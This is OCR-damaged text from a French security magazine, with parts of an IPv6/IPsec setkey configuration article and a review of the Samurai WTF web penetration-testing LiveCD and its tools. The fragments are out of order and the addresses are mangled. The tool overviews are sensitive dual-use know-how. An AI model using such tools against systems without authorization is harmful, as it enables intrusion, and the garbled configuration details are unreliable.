Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 27: hakin9_05_2010_FR

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

